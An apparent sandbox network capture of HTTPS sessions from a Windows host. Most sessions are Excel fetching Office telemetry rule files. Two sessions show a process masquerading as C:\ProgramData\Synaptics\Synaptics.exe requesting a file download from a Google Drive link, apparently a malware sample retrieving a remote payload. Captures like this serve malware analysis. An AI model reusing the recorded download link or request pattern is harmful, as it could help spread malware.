2024-12-05 23:16:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4626c155-d01e-0017-0ecc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231613Z-1746fd949bd54zxghC1EWRzre400000003k000000000ryd7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49967	13.107.246.63	443	5816	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	207	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:13 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:13 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: 4ebfc660-101e-0028-42cc-458f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231613Z-1746fd949bdxk6n6hC1EWRdr8c000000034000000000smp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:13 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49972	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:14 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:15 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9009c19b-701e-0053-74c6-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231615Z-1746fd949bdjrnwqhC1EWRpg2800000003eg000000009s76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:15 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49974	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:15 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 4ebe80de-801e-0047-51c8-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231615Z-1746fd949bdb8xvchC1EWRmbd4000000039000000000g98v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49973	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:15 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7eb0f396-d01e-0066-0ac6-45ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231615Z-1746fd949bdmv56chC1EWRypnn00000003m00000000047dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49975	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:15 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:15 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 00b51f18-a01e-000d-6fcc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231615Z-1746fd949bdlqd7fhC1EWR6vt000000003f000000000mtk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:15 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49976	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:15 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:15 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 46349be7-d01e-0017-71d1-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231615Z-1746fd949bdwt8wrhC1EWRu6rg00000003e000000000qpra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:15 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49979	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:16 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-rV7lfvZ7GbRZZ3kTiILogg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49978	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:16 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-N5Irrq6vuPvPrR9H-ipO4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49982	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:16 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:17 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5f5d2afa-901e-0015-66cc-45b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231617Z-1746fd949bdhk6hphC1EWRaw3c000000031000000000uh3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:17 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49986	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:17 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 935017b2-001e-0017-80c6-450c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231617Z-1746fd949bdtlp5chC1EWRq1v400000003c0000000006420 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:17 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49985	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:17 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:17 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 70d11f3f-901e-002a-1364-477a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231617Z-1746fd949bd5gpk5hC1EWR8dk400000000vg00000000b3nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:17 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49984	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:17 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
